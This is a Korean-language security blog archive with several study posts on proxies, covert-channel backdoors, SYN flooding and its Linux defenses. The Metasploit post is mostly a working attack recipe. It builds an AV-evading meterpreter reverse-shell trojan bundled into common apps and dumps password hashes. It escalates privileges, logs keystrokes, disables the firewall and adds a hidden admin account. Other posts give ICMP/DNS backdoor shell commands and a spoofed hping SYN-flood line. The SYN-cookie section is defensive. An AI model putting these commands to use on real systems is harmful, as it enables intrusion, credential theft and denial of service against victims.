프록시

보안/Network 2011. 8. 23. 14:32
프록시에 대해 알아보겠습니다. 

" 프록시 서버(Proxy Server)는 클라이언트가 자신을 통해서 다른 네트워크 서비스에 간접적으로 접속할 수 있게 해 주는 컴퓨터나 응용 프로그램을 가리킨다. 서버와 클라이언트 사이에서 중계기로서 대리로 통신을 수행하는 기능을 가리켜 '프록시', 그 중계 기능을 하는 것을 프록시 서버라고 부른다.

프록시 서버는 프록시 서버에 요청된 내용들을 캐시를 이용하여 저장해 둔다. 이렇게 캐시를 해 두고 난 후에, 캐시 안에 있는 정보를 요구하는 요청에 대해서는 원격 서버에 접속하여 데이터를 가져올 필요가 없게 됨으로써 전송 시간을 절약할 수 있게 됨과 동시에 불필요하게 외부와의 연결을 하지 않아도 된다는 장점을 갖게 된다. 또한 외부와의 트래픽을 줄이게 됨으로써 네트워크 병목 현상을 방지하는 효과도 얻을 수 있게 된다. "   -위키-


 

"자기자신을 통해서 다른네트워크 서비스에 간접적으로 접속" 이라는 것을 이용해서 공격자 자신의 IP를 속일 수 있습니다. 

공격자가 프록시 서버를 통해 희생자 서버로 접속하면 희생자 서버쪽에선 프록시 서버의 IP주소가 보이게 되는것이지요. 


프록시를 사용하는 목적으로는 위에서 살펴본 것을 포함하여 다음의 6가지 이유를 들 수 있습니다.

1. 캐시를 활용한 네트워크 트래픽 감소

2. 특정 서버 접속 차단

3. 특정 포트나 서비스 차단

4. 개인정보 노출방지

5. 개인적으로 IP를 숨기고 싶은 경우

6. 정보수집


: 특정 프록시를 사용하게 되면 위에서 말한 여러가지 혜택과 통제를 받게됩니다

보통 회사내에서 라우터나 방화벽같은 장비에 정책을 걸 수 도 있지만 프록시 서버를 두어 이런 혜택과 통제를 적용할 수도 있습니다.

해커들이 해외 프록시 서버를 이용하는 이유가 여기에 있습니다. 자신의 IP를 속일 수 있게 되는것입니다. 

하지만 조심해야 할 것은 정보수집의 문제입니다. 
프록시 서버를 운영하는 몇몇 운영자들은 접속자의 모든 패킷이 자신의프록시 서버를 거쳐 이동하게 된다는 점을 악용해 정보를 수집하기도 합니다. 


이러한 프록시를 레벨로 분류하자면 다음과 같이 분류할 수 있습니다. 

1.     Level3 transparent 프록시

(ㄱ)  빠르다

(ㄴ)  프록시 IP요청시 헤더 부분에 접속을 요청한 실제 클라이언트의 IP 주소를함께 포함하여 서비스를 요청 시도함

(ㄷ)  IP추적시 실제 클라이언트 IP추적 가능

(ㄹ)  X-Troward-for 해더를 요청하면 추적가능

2.     Level 2 anonymous

(ㄱ)  서비스요청시 클라이언트IP해더를 포함하지 않음

(ㄴ)  사용시헤더값중에 x-blueCoat-via 코드를 남기게되어 프록시를 사용중인 것을 체크 할 수 있음.

(ㄷ)  장비적으로는추적가능하나 어렵다

(ㄹ)  많은프록시 종류가 거의 여기에 속한다.

3.     Level 1 elite, high anonymite

(ㄱ)  일반적으로클라이언트 접속과 같은 페킷 형태임

(ㄴ)  추적이힘들다 ( 특허 받은 기술은 존재 – 불분명한 IP의 경우 접속 거부)

(ㄷ)  프록시서버에서 랜덤하게 프록시 IP부여

(ㄹ)  제공되는프록시 양이 많지 않고 상용서비스가 많음

 


이상으로 프록시 이해부분을 마치고 다음으로 프록시 활용에 대해 알아보겠습니다.

'보안 > Network' 카테고리의 다른 글

Covert Channel  (0) 2011.07.29
Hping 을 이용한 SynFlooding 공격  (0) 2011.07.18
SynFlooding 방어  (0) 2011.07.18
스위치 보안정리 2  (0) 2011.07.13
스위치 보안정리 1  (0) 2011.07.13
AND

홈페이지에있는 영문 메뉴얼입니다.




아래는 제가 따라하며  번역해서 쉽게 써놓은 글입니다.  




'보안 > System' 카테고리의 다른 글

RootKit hunter설치하기  (0) 2011.08.05
LC사용법  (0) 2011.08.05
Http method 를 이용한 정보캐네기와 막기  (0) 2011.06.29
ssh관련  (0) 2011.06.28
Fuser과 lsof 조사  (0) 2011.06.28
AND

'보안 > System' 카테고리의 다른 글

yara 1.6 설치 및 활용가이드  (0) 2011.08.09
LC사용법  (0) 2011.08.05
Http method 를 이용한 정보캐네기와 막기  (0) 2011.06.29
ssh관련  (0) 2011.06.28
Fuser과 lsof 조사  (0) 2011.06.28
AND

LC사용법

보안/System 2011. 8. 5. 20:04

'보안 > System' 카테고리의 다른 글

yara 1.6 설치 및 활용가이드  (0) 2011.08.09
RootKit hunter설치하기  (0) 2011.08.05
Http method 를 이용한 정보캐네기와 막기  (0) 2011.06.29
ssh관련  (0) 2011.06.28
Fuser과 lsof 조사  (0) 2011.06.28
AND

'보안' 카테고리의 다른 글

meta 실습 정리중  (0) 2011.08.01
연도별 흐름  (0) 2011.07.28
서비스별 포트번호  (0) 2011.05.02
HTTP/1.1 상태 코드 정의  (0) 2011.04.28
AND

meta 실습 정리중

보안 2011. 8. 1. 14:49

- 실습환경- 공격자 : 192.168.102.137 (BT 시스템) , 공격자용 xp ( package merging system ) 희생자 : 192.168.102.135 (xp 시스템) 1) bt>cd /pentest/exploits/framework3 bt>svn update bt>./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.102.136 R | ./msfencode -e x86/shikata_ga_nai -c 5 -t exe -o /var/www/svchost.exe or bt>./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.102.136 LPORT=4444 x > /var/www/reverse_tcp.exe 2) 생성된 파일을 공격용 XP에 이동시켜 네이트온 / 파일구리 등 일반적인 응용프로그램과 결합 iexpress 이용 AV 우회를 위해 필요시 themida같은 도구를 이용 3) bt>./msfconsole msf>use exploit/multi/handler msf>exploit(handler) >set PAYLOAD windows/meterpreter/reverse_tcp msf>exploit(handler) >set LHOST 192.168.102.136 msf>exploit(handler) > exploit 4) 패킹/크립팅된 트로이목마 실행 5) meterpreter > ipconfig meterpreter > hashdump meterpreter > ps meterpreter > migrate 680 meterpreter > getsystem meterpreter > sysinfo meterpreter > shell 6) reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f 7) netsh firewall set opmode disable netsh firewall set portopening tcp 3389 redesktop net user hacker hacker /add net localgroup administrators hacker /add 8)meterpreter > screenshot 9) meterpreter > ps iexplorer.exe --> pid 확인 (ex 416 ) meterpreter > migrate 416 meterpreter > keyscan_start meterpreter > keyscan_dump --> ie 상에서의 입력이 키로킹됨. meterpreter > keyscan_stop 10)rdesktop -u hacker -p hacker 192.168.102.135:3389
msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 
LHOST=192.168.1.83 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX

	생성되는 코드 라인 복사


에디터 open 후

Attrib +h shellcodeexec.x32.exe
shellcodeexec.x32  생성된 코드 라인 붙여 넣기

저장명 attack.bat

저장 후 bat to exe converter 를 이용하여 attack.bat 를 attack.exe 로 변경

option 에서 invisiable application 으로 변경 후 add 를 선택하여 windows/meterpreter 에서

shellcodeexec.x32.exe 찾아서 지정 후 compile


#cd /pentest/exploits/framework3 && ./msfconsole

msf> use multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 192.168.1.83
msf > set exitfunc thead
msf > set exitonsession false
msf > exploit -j   / 않되면 j 하지말것

희생자가 생성된 shell.exe 를 실행하게 되면 game over.

meterprerter>sysinfo

'보안' 카테고리의 다른 글

ddos 정리한거. 대충한거라 나중을 위해 올려놓는다.  (0) 2011.08.01
연도별 흐름  (0) 2011.07.28
서비스별 포트번호  (0) 2011.05.02
HTTP/1.1 상태 코드 정의  (0) 2011.04.28
AND

Covert Channel

보안/Network 2011. 7. 29. 13:18
아래 공격들은 지금은 통하지 않는 공격들이며 원리만 알아둡시다. 

AckCmd

 
:TCP 기반의 백도어 프로그램으로 서버(희생자) 클라이언트(공격자) 모델로서 ,TCP flag의  [UAPRSF]  비트중 A 를 1로 셋팅하고 데이터영역이 있는 패킷을 생성하여 보낸다. 
공격자는 데이터영역에  쉘 상에서 수행가능한 명령어를 포함할 수 있다. (클라이언트프로그램이 프롬프트제공)
일반적으로 데이터 영역이 붙어있게되면 TCP에서는 push와 ack를 셋팅하도록 되어있지만, ack  flag만 셋팅되어있는 tcp패킷에서 data를 붙이는것을 금지해 놓지는 않았다. 
이를 이용한 것이다.


초창기에는 단순 ACK 패킷을 보냄으로써, 방화벽에 탐지되지 않았으나  이공격은 2000 이하에서나 동작하지 서비스팩 2부터는 동작하지 않는다. 한마디로 옛날 공격이고 원리만 알아두자. 

서버(희생자) 에서
# ./ackcmds

클라이언트(공격자) 에서
# ./ackcmdc 희생자IP 




Itunnel
: ICMP기반의 백도어 프로그램으로 서버 클라이언트 모델로서  ICMP의 추가되는 data 영역에 쉘 상에서 수행할 수 있는 명령어를 추가할 수 있다. 
서버( 희생자) 상에서는  
# ./it localhost | /bin/sh | ./it attackerIP 

클라이언트(공격자) 상에서는
# ./it victimIP 

itunnel-1_2.tar.gz 

Loki(1997)
ICMP기반의 백도어 프로그램으로 서버 클라이언트 모델로서  ICMP의 추가되는 data 영역에 쉘 상에서 수행할 수 있는 명령어를 추가할 수 있다. 
2010년에 스위치와 라우터 공격용으로 개발된 Loki와는 완전히 다르므로 구별하자

shadyshell
: UDP기반의 백도어 프로그램으로서  DNS 패킷 안에 쉘 상에서 수행할 수 있는 명령어를 삽입할 수 있다. 

서버(희생자)에서는
./shadyshell

클라이언트(공격자)에서는
nc -u 희생자IP 53 

shadyshell.c
 

'보안 > Network' 카테고리의 다른 글

프록시  (0) 2011.08.23
Hping 을 이용한 SynFlooding 공격  (0) 2011.07.18
SynFlooding 방어  (0) 2011.07.18
스위치 보안정리 2  (0) 2011.07.13
스위치 보안정리 1  (0) 2011.07.13
AND

연도별 흐름

보안 2011. 7. 28. 11:22


1980 : 유닉스시스템의 관리자 권한획득
1990 : 바이러스
  * 바이러스의 종류 조사 하기
   : 파일손상 바이러스와 메모리상주기반 바이러스
  
1998 : 웜 등장 ( 님다웜, 모리스웜-cert의 등장) - 네트워크의 활성화로 바이러스보다 웜이 이후 계속 활성화
         침입차단 시스템 등장
2000 : 웹해킹의 등장
2005-2007 : 웹해킹방어를 위해 웹 방화벽 (솔루션) 등장
2007 : 공격이 어려워지자 DDos공격활성화

 

* 악성코드, DOS, 바이러스 종류 조사

'보안' 카테고리의 다른 글

ddos 정리한거. 대충한거라 나중을 위해 올려놓는다.  (0) 2011.08.01
meta 실습 정리중  (0) 2011.08.01
서비스별 포트번호  (0) 2011.05.02
HTTP/1.1 상태 코드 정의  (0) 2011.04.28
AND

Hping 희생자IP -a 위장IP -p 22 -S -i u100

or

hping --rand-source 희생자IP -p 22 -S 

'보안 > Network' 카테고리의 다른 글

프록시  (0) 2011.08.23
Covert Channel  (0) 2011.07.29
SynFlooding 방어  (0) 2011.07.18
스위치 보안정리 2  (0) 2011.07.13
스위치 보안정리 1  (0) 2011.07.13
AND

SynFlooding 방어

보안/Network 2011. 7. 18. 17:35
작성자 : 유창훈
Synflooding attack의 핵심은 백로그큐를 꽉 채우는 것!!! 이것이다. 

서버 클라이언트 관계에서 3way handshaking 과정은 알고있으리라고 보고 다음을 읽도록 하자.

이 백로그큐는 그냥 막 들이댄다고 채워지는게 아니라 Syn패킷을 받았을때, Syn Ack를 응답해 주고 나서 Ack가 올때까지 기다리는 동안 여기에 살짝 집어넣어놓는다.

근데 응답이 안오면???? Ack가 돌아와야 서버에서 큐가 비워지는데 응답이 안오니까 비워지지 않은상태로 다음 Syn이 오면 또 쌓이고 응답없으면 그대로 쌓여있다가 . 또 쌓이고 쌓이고 ..... 그래서 최악의 경우는 큐가 다 차서 더이상 Syn 패킷을 받을 수 없는 상태가 된다.

이렇게 되면 서비스 거부가 되고( 3way handshaking 이 안되니까) 중요한 회사에서 중요한 타이밍에 서비스를 할 수가 없다면 엄청난 손실을 받게 된다. 
이러면안된다....
 
통상적으로 백로그 큐 안에서 Syn 패킷이 존재하는 시간은 75초, .
공격자가 75초 안에 서버의 백로그큐를 다 채워버리면 끝나는거다 . 일반적으로 공격후 3초면 서비스 다운된다.

따라서 이러한 공격을 예방하기 위해 몇가지  대안이 있다.  

1. 백로그 큐의 크기를 증가! 

[root@net /root]# sysctl -w net.ipv4.tcp_max_syn_backlog=1024

또는

[root@net /root]# echo 1024 > /proc/sys/net/ipv4/tcp_max_syn_backlog

         
일반적으로 128M 이면 128로 하고 그 이상이면 1024로 한다. 
이 때 주의할 점은 이 값을 무작정 크게 설정한다고 좋은 것은 아니며 1024 이상으로 설정할 경우 는 /usr/src/linux/include/ net/tcp.h 소스에서 TCP_SYNQ_HSIZE 변수를 수정 후 커널을 재컴파일해야 한다. 이 변수를 설정시 TCP_SYNQ_HSIZE에 16을 곱한 값이 tcp_mas_syn_backlog 보다는 작거나 같아야 하는데, 그렇지 않을 경우에 는 시스템에 문제가 발생할 수 있으니 1024 보다 높은 값으로 설정하지 말기 바란다
 
솔직히 백로그 큐 증가해 봤자 정작 Syn flooding공격이 들어왔을때는 아무~소용없다. 
다만 평상시 서비스하는 서버라면 적당한 백로그 큐는 네트워크의 성능을 조금 향상시켜준다.   
그래도!!  정작 공격이 들어왔을때, 최대한의 서비스 보장을 위해서  설정해놓는게 좋다. 


2. Syncookie를 셋팅해 놓는다. 

백로그 큐에 가득차서 서비스가 안되면 백로그 큐가 가득 찼을때, cookie 개념을 이용해 백로그큐의 역할을 대신하는 공간을 지정해 주면된다. 그럼 서비스가 계속될 것이지 않은가?  

이것이 Syncookie이다. 


먼저 현재 설정값 확인 

[root@control src]# sysctl net.ipv4.tcp_syncookies

0

0 으로 설정되어 있으므로 현재 syncookies는 적용되지 않는다. 따라서 다음과 같이 1을 설정하여 syncookies 기능을 활성화도록 한다.


[root@control src]# sysctl -w net.ipv4.tcp_syncookies=1
또는  

[root@net /root]# echo 1 > /proc/sys/net/ipv4/tcp_syncookies

 



syncookie 설정을 해놓은 상태에서 Synflooding공격이 들어오면 (즉, 백로그큐가 가득찼을때)   /var/log/message 파일에 아래와 같이 SynFlooding 공격이 진행중이라는 메시지가 출력된다.

"Jun 11 18:54:08 net kernel: possible SYN flooding on port 80. Sending cookies."

'보안 > Network' 카테고리의 다른 글

Covert Channel  (0) 2011.07.29
Hping 을 이용한 SynFlooding 공격  (0) 2011.07.18
스위치 보안정리 2  (0) 2011.07.13
스위치 보안정리 1  (0) 2011.07.13
Linux kernel parameter 설정(네트워크)  (0) 2011.07.13
AND